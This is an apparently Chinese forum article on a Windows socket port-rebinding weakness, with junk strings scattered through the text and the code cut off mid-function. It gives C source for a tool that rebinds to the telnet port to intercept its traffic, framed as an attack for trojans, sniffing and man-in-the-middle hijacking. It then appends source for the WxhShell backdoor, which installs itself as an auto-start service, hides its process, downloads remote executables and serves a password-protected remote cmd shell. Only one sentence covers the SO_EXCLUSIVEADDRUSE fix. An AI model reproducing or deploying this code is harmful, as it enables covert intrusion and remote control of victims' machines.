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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MJ JC6: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pvc)-A gD9CA* saddr.sin_family = AF_INET; !-lI<$S: N;3!oo4 saddr.sin_addr.s_addr = htonl(INADDR_ANY); sfX~X/ uOA/r@7I}S bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rRRh-%.RU IU8zidn& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JKZVd`fF G`!,>n 3 这意味着什么?意味着可以进行如下的攻击: e3ZRL91c F_qApyU,7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3N_KNW ';3>rv_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /(^-=pAX 4;6"I2;zfG 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =3035{\ Fqeqn[, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 }k VC]+ }dN\bb{# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j\>&]0-Iq ".>#Qp% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GJB+]b- u&l;\w 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `,V&@}&"n 6>WkisxG #include jWUrw #include { 4j<X5V #include :zU4K=kR #include ~!({Unt+' DWORD WINAPI ClientThread(LPVOID lpParam); 8WytvwB} int main() c +]r { I0F[Z\U WORD wVersionRequested; ~T@E")uR DWORD ret; E<yQB39 WSADATA wsaData; (d&" @ BOOL val; 1'hpg>U SOCKADDR_IN saddr; wo&IVy@s$ SOCKADDR_IN scaddr; "o--MBq4 int err; 0aY|: SOCKET s; :$G^TD/n SOCKET sc; &E]) sJ0 int caddsize; ;-1KPDIp` HANDLE mt; 16Qu{K DWORD tid; )j8'6tk)Z wVersionRequested = MAKEWORD( 2, 2 ); N6[Z*5efR err = WSAStartup( wVersionRequested, &wsaData ); 'gN[LERT if ( err != 0 ) { tV=Qt[|@ printf("error!WSAStartup failed!\n"); Aa9l-:R return -1; | d*<4-: } r.?dT |A saddr.sin_family = AF_INET; a0ms9%Y;Q[ ;rf{T[i //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :7(fBf5 oT}$N_gFT saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d[h=<?E5 saddr.sin_port = htons(23); c^_+<C-F if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;ab[YMkH { 7oE:] printf("error!socket failed!\n"); j/Kul}Ml\* return -1; '@ 24<T] } k
x:+mF val = TRUE; I]HYqI //SO_REUSEADDR选项就是可以实现端口重绑定的 Oyb9
ql^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |Gq3pL<jkC { _oZ3n2v}@ printf("error!setsockopt failed!\n"); !IJ
YaQ6z return -1; 0Y0z7A: } IYe[IHny1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m<n+1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s3Bo'hGxG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hzAuj0-A x<t?Yc9 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 67/@J)z0% { PdKcDKJ ret=GetLastError(); 6U).vg< printf("error!bind failed!\n"); MZ)lNU l return -1; &kf \[|y } |3k r*# listen(s,2); x6aVNH= while(1) :2
\NG} { Z&@P< caddsize = sizeof(scaddr); HE*^!2f //接受连接请求 *=md!^x` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xz`0V}dPl if(sc!=INVALID_SOCKET) [?6+ r { G9S3r3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l )r^|9{ if(mt==NULL) 0]ai*\,W7~ { yu#m6K printf("Thread Creat Failed!\n"); E.C=VfBW break; \HD:#a } Uvk: } |s#,^SJ0 CloseHandle(mt); t^bh2$J } iJZvVs', closesocket(s); :"Vmy.xq WSACleanup(); L]YJ#5 return 0; 8I*yS# } [g==#[ DWORD WINAPI ClientThread(LPVOID lpParam) .mnkV -m { 2kgSIvk\ SOCKET ss = (SOCKET)lpParam; ;qzn_W SOCKET sc; e9\_H=t+ unsigned char buf[4096]; YPs9Pqkn SOCKADDR_IN saddr; ?5G;=#I long num; 4{,!'NA DWORD val; 2UR1T~r DWORD ret; UN<$F yb //如果是隐藏端口应用的话,可以在此处加一些判断 auB+ g'l //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 4[Ko| saddr.sin_family = AF_INET; G_WFg$7G% saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^K<!`B saddr.sin_port = htons(23); fG?a"6~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xJ^B.;> { "Z';nmv'N printf("error!socket failed!\n"); f. h3:_r return -1; IM,d6lN6s } >z3l@ val = 100; W T @XHwt if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4U$M0 = { OHY|< &* ret = GetLastError(); \"I418T K return -1; 9qq6P! } ;5|d[r}k3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p;%5 o0{1 { ow+_g R- ret = GetLastError(); D3tcwjXoW_ return -1; $;";i:H` } O*F= xG if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'K23oQwDB { k/Urz*O printf("error!socket connect failed!\n"); FrRUAoFO closesocket(sc); N5MWMN[6aP closesocket(ss); 29z@ ! return -1; PTQN.[bBh } =OrVaZ0 while(1) |]HA@7B { +Lr`-</VF //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xNJ*TA[+ //如果是嗅探内容的话,可以再此处进行内容分析和记录 nh+h3"-d //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .*?-j?U. num = recv(ss,buf,4096,0); Dz$dJF1
8 if(num>0) VYK%0S9yH[ send(sc,buf,num,0); {p$X*2ReB else if(num==0) &[|Z2} break; 16ip:/5 num = recv(sc,buf,4096,0); {\h:k\k if(num>0) ubKp
P%Z send(ss,buf,num,0); 'v(b^x<ZS else if(num==0) wgQx.8 h> break; 6/0bis
H } =FAIbM>u closesocket(ss); +wEsfYW closesocket(sc); Tj2pEOu return 0 ; fG@]G9Z } a!j{A?7Kw. {XXnMO4uR; ;t/KF" ========================================================== ;e2D} .8|"@ 下边附上一个代码,,WXhSHELL y
:QnK0 i"^ yy+ ========================================================== uesIkJ^Q[ j3R}]F'C* #include "stdafx.h" =QwT)KRB% dA#'HMh@ #include <stdio.h> Rx@0EPV #include <string.h> FZ FPzH #include <windows.h> 7 $dibTER #include <winsock2.h> qnU`Q{ #include <winsvc.h> #8WHIDS> #include <urlmon.h> 2p *!up( B;<zA' 1 #pragma comment (lib, "Ws2_32.lib") a 4?c~bs #pragma comment (lib, "urlmon.lib") UD&pL'{s e[QEOx/-h2 #define MAX_USER 100 // 最大客户端连接数 HSACaTVK #define BUF_SOCK 200 // sock buffer /W{^hVkvC #define KEY_BUFF 255 // 输入 buffer w,1*dn XCGK&OGI #define REBOOT 0 // 重启 0Fs2* FS #define SHUTDOWN 1 // 关机 "JgwL_2 r+a0. #define DEF_PORT 5000 // 监听端口 @><8YN^)% 7Xh
;dJAF3 #define REG_LEN 16 // 注册表键长度 +~xzgaL
#define SVC_LEN 80 // NT服务名长度 +WCV"m L7yEgYB // 从dll定义API U_wIx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7#PQ1UWl typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wk2Ff*& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &!>.)I` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <Ug1g0. s +0S,?{$ // wxhshell配置信息 "Qk)EY struct WSCFG { j9f Q V int ws_port; // 监听端口 "i%=QON` char ws_passstr[REG_LEN]; // 口令 HC$}KoZkC int ws_autoins; // 安装标记, 1=yes 0=no ,C^u8Z|T char ws_regname[REG_LEN]; // 注册表键名 Z>.(' char ws_svcname[REG_LEN]; // 服务名 Ki[&DvW: char ws_svcdisp[SVC_LEN]; // 服务显示名 X|Nb81M char ws_svcdesc[SVC_LEN]; // 服务描述信息 C jz(-018 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nKch:g int ws_downexe; // 下载执行标记, 1=yes 0=no ?0d#O_la3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 8&y#LeM1TT char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W#L/|K!S Go7 oj'" }; ( n!8>>+1C 5QG?*Z~?7 // default Wxhshell configuration i&L!?6 5-f struct WSCFG wscfg={DEF_PORT, wYd{X 8$ "xuhuanlingzhe", xeRoif\4c 1, "i\^GK= "Wxhshell", :>3?|Z"Aj "Wxhshell", P\$%p-G "WxhShell Service", \
Ju7.3. "Wrsky Windows CmdShell Service", PSU}fo "Please Input Your Password: ", }4q1"iMlO 1, N3\vd_D( " http://www.wrsky.com/wxhshell.exe", vSo,,~F "Wxhshell.exe" nz/cs n }; dSE"G>l8 g7v(g? // 消息定义模块 nCLEAe$W\= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =AX"'q char *msg_ws_prompt="\n\r? for help\n\r#>"; j^m pkv<P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; H6MG5f_ char *msg_ws_ext="\n\rExit."; GjX6noqT char *msg_ws_end="\n\rQuit."; +o K*5 Y char *msg_ws_boot="\n\rReboot..."; #?DoP]1Y char *msg_ws_poff="\n\rShutdown..."; To,*H OP char *msg_ws_down="\n\rSave to "; whQJWi=ck z7HM/<WY char *msg_ws_err="\n\rErr!"; ugs9>`fF& char *msg_ws_ok="\n\rOK!"; ~Vf
A wu0q.] char ExeFile[MAX_PATH]; a6 "-,Kg int nUser = 0; $v1_M1 HANDLE handles[MAX_USER]; d*LW32B@ int OsIsNt; zCmx 1Djz G^le91$ SERVICE_STATUS serviceStatus; G54`{V4&s SERVICE_STATUS_HANDLE hServiceStatusHandle; ^(Wu$\SA Upz?x{>x // 函数声明 7DWGYvv[ int Install(void); U<6+2y P int Uninstall(void); 9[:TWvd int DownloadFile(char *sURL, SOCKET wsh); WIw*//nw int Boot(int flag); 5p~hUP]tT void HideProc(void); %0%Tp int GetOsVer(void); tcJN`N int Wxhshell(SOCKET wsl); jaQH1^~l/- void TalkWithClient(void *cs); 1;~|[C int CmdShell(SOCKET sock); HnKXO int StartFromService(void); QVkrhwp int StartWxhshell(LPSTR lpCmdLine);
,: qk+ {n(/ c33 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9`7>"[=P VOID WINAPI NTServiceHandler( DWORD fdwControl ); IJD E{) >LW}N!IBy // 数据结构和表定义 c'wU$xt.w SERVICE_TABLE_ENTRY DispatchTable[] = "-Wb[*U; { I
MG^L {wscfg.ws_svcname, NTServiceMain}, NJg )S2]7 {NULL, NULL} ]&X}C{v)G }; mTL JajE/ &BN#"- J // 自我安装 A5Lzd int Install(void) 0@Z}.k30 { FzG>iC} char svExeFile[MAX_PATH]; %RzCJxT HKEY key; H4<Q}([w strcpy(svExeFile,ExeFile); V+t's*9o3 `pqTiV // 如果是win9x系统,修改注册表设为自启动 gzN51B =D if(!OsIsNt) { !i\ gCLg2_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +tJ 7ZR% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dd*p_4; RegCloseKey(key); $4BvDZDk`B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gKtgW&PYm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @]Lu"h#u= RegCloseKey(key); LX#gc.c return 0; 8k;il54# } ;*WG9Y(W } -!
^D8^s } rl]K:8* else { e/}4Pt 5t-,5 // 如果是NT以上系统,安装为系统服务 S:1g(f*85 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,(NN)Oj if (schSCManager!=0) h=B=
J { \} _,g SC_HANDLE schService = CreateService -B?cF9 ( w8a49 Fv schSCManager, \J;_%-Z wscfg.ws_svcname, ;RYIc0% wscfg.ws_svcdisp, DKF
'* SERVICE_ALL_ACCESS, 5<YL^m{/L SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t8`wO+4@ SERVICE_AUTO_START, ;*0?C'h= SERVICE_ERROR_NORMAL, !@ {sM6U svExeFile, 45WJb+$ NULL, fg4mP_ NULL, U*?`tdXJ$ NULL, |qBcE NULL, JX{_,2*$ NULL ]'pL*&"X ); M~~)tJYsu if (schService!=0)
UqNUX?( { n}c~+0`un CloseServiceHandle(schService); gU1Pb]] CloseServiceHandle(schSCManager); L@Q+HN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8 [D" strcat(svExeFile,wscfg.ws_svcname); tHK>w%|\R if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "F[7b!>R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _<=h#lH RegCloseKey(key); tS-gaT`T return 0; 73Hm:"Eqd } /Q_Dd } <. *bJ CloseServiceHandle(schSCManager); l>KkAA } h J0U-m } $tej~xZK KC)}Mzt6_ return 1; r-.>3J } 6@eF|GoP :>U+HQll // 自我卸载 {8h[Bd int Uninstall(void) GP^.h kVs { I&31jn_o
/ HKEY key; # 1dg% AQmHa2P if(!OsIsNt) { -&=dl_m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @w`wJ*I4, RegDeleteValue(key,wscfg.ws_regname); _*MK" RegCloseKey(key); {`,)<R>} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dqs~K7O^E RegDeleteValue(key,wscfg.ws_regname); $sS~hy* RegCloseKey(key); pdvnpzj return 0; W/AF } eW;3ko E } e['<.Yf+ } }1W@ else { 8KYI Hw 8QoxU"
c& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 52zE -SY if (schSCManager!=0) i1!1'T8 { [:cvy[}v@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =E<H_cUS if (schService!=0) 2TNK { kDI?v6y5 if(DeleteService(schService)!=0) { 6|~^P!& CloseServiceHandle(schService); 9\c]I0)3p CloseServiceHandle(schSCManager); -Jw4z#/- return 0; ,[)l>!0\H } ~?FhQd\Q CloseServiceHandle(schService); =4l @A> } )BvMFwQG CloseServiceHandle(schSCManager);
Hf\sF(, ( } v?Utz~lQ } gu+zfvkcY
6su~SPh return 1; <f M}Kk } Fm,` ]CO `j(._`8%a // 从指定url下载文件 /R&h#;l int DownloadFile(char *sURL, SOCKET wsh) Gx6%Z$2n { zRou~Kxi HRESULT hr; o+7)cI char seps[]= "/"; -*z7`]5J char *token; oeB'{bG char *file; Fxc_s/^=t char myURL[MAX_PATH]; O^j*"#f char myFILE[MAX_PATH]; D>-r ` -Ep#q&\ strcpy(myURL,sURL); %,~?;JAj token=strtok(myURL,seps); 28`s+sH while(token!=NULL) 3%5a&b { &JcatI file=token; -5 D<zP/ token=strtok(NULL,seps); %1.F;-GdsW } YO$D- %9a3$OGZX GetCurrentDirectory(MAX_PATH,myFILE); BdF/(Pg strcat(myFILE, "\\"); yCvtglAJ4 strcat(myFILE, file);
S#?2E8 send(wsh,myFILE,strlen(myFILE),0); XUA@f* send(wsh,"...",3,0); 7HBf^N. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zh*D2/r if(hr==S_OK) FK593z return 0; ?-vWNv else [`t ;or return 1; C5 Q!_x( )iQ^HZ } Dws)
4hH ^n(FO,8c // 系统电源模块 D2kmBZ3 int Boot(int flag) uVCH<6Cp { Z|%h-~ HANDLE hToken; o3/o2[s TOKEN_PRIVILEGES tkp; #-<Go'yF 4&sf{tI if(OsIsNt) { ?'z/S5&j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CV.|~K0O LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %,_ZVgh0 tkp.PrivilegeCount = 1; Xt<1b tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lz~^*\ F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %DYh<U4N if(flag==REBOOT) { "(7y%TFt: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
}o*A>le return 0; )q-NE) } Syy{ ^Ae} else { rZJJ\ , | if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e,/]]E/o return 0; ~TEn + } .R)P
|@z L } uC^)#Y\" else { \&hq$ if(flag==REBOOT) { P:4"~]} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dAx
? , return 0; i[IFD]Xy!j } Lo{wTYt:J else {
,"(G if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XGR2L
DR return 0; s@ @Km1w } A-T-4I } w\o6G7 W~;Jsd=f return 1; u9OY
Jo } LSou]{R <VKJ+ // win9x进程隐藏模块 -je} PwT void HideProc(void) t-iXY0%& { b;UBvwY_ tfGs|x HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j'z#V_S if ( hKernel != NULL ) W_`]7RO8 {
x2"1,1%H7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rM,e$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,s #~00C| FreeLibrary(hKernel); E5n7
< } $qQYxx@ ]O"f % return; r6Yd"~ n } E(4c& P\7*ql` // 获取操作系统版本 FT-.gi0 int GetOsVer(void) )bOfs*S { GHcx@||C? OSVERSIONINFO winfo; 5lG\Z? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); at_*Zh( GetVersionEx(&winfo); MONX&$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]u|v7}I4 return 1; n9+33^ PT else s Z[[ymu8 return 0; 0vm> *M*p } hLLSmW( O D}RnKL // 客户端句柄模块 ~~OFymQ%?q int Wxhshell(SOCKET wsl) **hQb$ { uGMzU&+ SOCKET wsh; &L+uu',M0c struct sockaddr_in client; Snf_{A< DWORD myID; %;k Hnl `s
CwgY+ while(nUser<MAX_USER) qg
oB}n% { z3+@[I$ int nSize=sizeof(client); <u!cdYo@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ds">eNq if(wsh==INVALID_SOCKET) return 1; kP
]Up&' lA5Dag' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n^4R]9U if(handles[nUser]==0) Ik0g(-d closesocket(wsh); (?|M'gZ else \"a{\E,{; nUser++; nnv|GnQST } q*3OWr WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {JgY-#R?{( gm-[x5O" return 0; d&j } ukSv70Ev Jp=fLo 9 // 关闭 socket F}nwTras void CloseIt(SOCKET wsh) 7Bp7d/R- { H#SQ>vyAV closesocket(wsh); A`Z/B[) nUser--; M/?,Qii ExitThread(0); ,2S!$M } ]c/E7|0Q ]
4dl6T // 客户端请求句柄 q Q\j void TalkWithClient(void *cs) 'k,2*.A { p'K`K\X jzbq{# SOCKET wsh=(SOCKET)cs; R@o&c%K" char pwd[SVC_LEN]; (I>Ch)' char cmd[KEY_BUFF]; D@bGJc0 char chr[1]; 0B`X056|"| int i,j; *S.U8;*Xj 5?7AzJl> while (nUser < MAX_USER) { @j/2 $ &?@C^0&QV if(wscfg.ws_passstr) { jW'YQrj{<Y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SGAzeymw //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h:?^0b!@ //ZeroMemory(pwd,KEY_BUFF); U] LDi8 i=0; 5'} V`?S while(i<SVC_LEN) { ^e.-Ji pE5v~~9Ikv // 设置超时 %2}fW\%' fd_set FdRead; `L'g<VK; struct timeval TimeOut; RxP H[7oZ FD_ZERO(&FdRead); yix[zfQt0 FD_SET(wsh,&FdRead); BX >L7 n TimeOut.tv_sec=8; sey,J5? TimeOut.tv_usec=0; \vA*dQ- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hYW9a`Ht/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }| DspO Oidf\%!mvR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qm%PpQ^Lz3 pwd =chr[0]; |bY@HpMp if(chr[0]==0xd || chr[0]==0xa) { 1$>+rW{a pwd=0; EwP2,$; break; 'UX.Q7W } OIcXelS:@k i++; `z|0O } E/zf9\ ']M/'CcM // 如果是非法用户,关闭 socket cM#rus?)+ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); my?Ly(# } IVR%H_uz 23}` e send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9kL,69d2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bv+u7B6, ){;XI2 while(1) { QZzamT)" _ \D% ZeroMemory(cmd,KEY_BUFF); w*qj0:i5as =XP[3~ // 自动支持客户端 telnet标准 ]S6Gz/4aV+ j=0; ?KC(WaGJQ while(j<KEY_BUFF) { x)PW4{3qR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \9?[|m
z cmd[j]=chr[0]; [9; @1I<x if(chr[0]==0xa || chr[0]==0xd) { UqP{Cyy{ cmd[j]=0; ]\(8d[4 break; s4|\cY`b- } /(dP)ysc j++; |mEWN/@C } ,Bk5(e ./YR8 #, // 下载文件 }HgG<.H> if(strstr(cmd,"http://")) { cQU/z"?+ send(wsh,msg_ws_down,strlen(msg_ws_down),0); |+#Zuq if(DownloadFile(cmd,wsh)) I?e5h@uE send(wsh,msg_ws_err,strlen(msg_ws_err),0); xRh 22z else -k'<6op send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G@8)3 @ } H[=\_X1o( else { G3.aw `w@:h4f switch(cmd[0]) { /"{d2 7Uenr9)M // 帮助 hG1:E:} case '?': { 86ao{l6l C send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @*6fEG{,q break; \x<8 } g) X3:=[' // 安装 (V{/8%mWc case 'i': { 8Y($ F2 if(Install()) eADCT send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ca2r<|uA else LPvp
(1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EZUaYp~M break; fQ<sq0'e\ } RZa/la* // 卸载 v3-/ [-XB: case 'r': { /$~1e7W if(Uninstall()) RN$vKJk send(wsh,msg_ws_err,strlen(msg_ws_err),0); qmrT dG else _#8hgwf> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aacy5E break; \v2!5z8| } E>~R P^?Uz // 显示 wxhshell 所在路径 n$iX6Cd case 'p': { _7Y
h[I4 char svExeFile[MAX_PATH]; kCBtK?g strcpy(svExeFile,"\n\r"); #AD_EN9 strcat(svExeFile,ExeFile); T+Oqd\05.+ send(wsh,svExeFile,strlen(svExeFile),0); 1Bh"'9-!JT break; ho\1[xS } fM=o?w6v // 重启 Z\!,f.>g case 'b': { D!j/a!MaKk send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xl}rdnf} if(Boot(REBOOT)) RT[p!xL send(wsh,msg_ws_err,strlen(msg_ws_err),0); cx\"r else { .;? Bni closesocket(wsh); {U5sRM|I ExitThread(0); A
6(` } e"
v%m'G break; i5e10@Q{ } o E+'@ // 关机 'Y?-."eKh case 'd': { X=)V<2WO send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bLc5$U$!I if(Boot(SHUTDOWN)) -U|c~Cqc send(wsh,msg_ws_err,strlen(msg_ws_err),0); -]N2V'QB else { %>|FJ closesocket(wsh); 6= ?0&Bx& ExitThread(0); MB]E[&Q! } 8lyIL^ break; 'xW=qboOp } ;UdM8+^/V] // 获取shell B,>02EZ case 's': { wh:;G`6S CmdShell(wsh); i VSNara closesocket(wsh); :5YIoC ExitThread(0); ]N>ZOV,> break; |$Yk)z3 } sI>w#1.m/& // 退出 0seCQANd case 'x': { g6M>S1oOO send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z/7q#~J, CloseIt(wsh); 5P,&VB8L break; ]c(FgYc } +R'8$ // 离开 PRhC1# case 'q': { Wf~^,]9N send(wsh,msg_ws_end,strlen(msg_ws_end),0); w-|Rb~XT
h closesocket(wsh);
@|gG3 WSACleanup(); UHl3/m7g exit(1); !0{SVsc) break; C,| & } XC<fNK } >"W^|2R } /}:{(Go !(d]f0 // 提示信息 >y%H2][ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g~U(w } {yn,u)@r9S } , ZsZzZ# 7[ ovEE54 return; +gl\l?>sr } k!c7eP"%8^ ~&?([}A // shell模块句柄 \@Wv{0a( int CmdShell(SOCKET sock) +t!]nE# { zIa={tU STARTUPINFO si; x'|ty[87 ZeroMemory(&si,sizeof(si)); }k-V( si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; axQ>~vWN/ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '6N)sqTR PROCESS_INFORMATION ProcessInfo; j >k
;Zj char cmdline[]="cmd"; z{XB_j6\= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S_lGrk\j return 0; Fa("Gok[ } :6Ri% Nb Ww<Y]H$xZ< // 自身启动模式 Ah2@sp,z int StartFromService(void) a%#UF@I { Tm%5:/<8 typedef struct -` ]9o3E7H { [$dVs16K DWORD ExitStatus; <\229 DWORD PebBaseAddress; )%C.IZ_s2 DWORD AffinityMask; j0l{Mc5 DWORD BasePriority; J6 ~Sr ULONG UniqueProcessId; N&8$tJ(hhx ULONG InheritedFromUniqueProcessId; ( 5LCy?-6 } PROCESS_BASIC_INFORMATION; P1F-Wy1 V^7.@BeT PROCNTQSIP NtQueryInformationProcess; PT>b%7Of @A[)\E1 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f&-`+V}U static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1]xmOx[mb n_kwtWX( HANDLE hProcess; d1~#@6CIz PROCESS_BASIC_INFORMATION pbi; .@ H:P pGie!2T E HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '54\!yQ<{ if(NULL == hInst ) return 0; =,XCjiBeC @pH2"k|
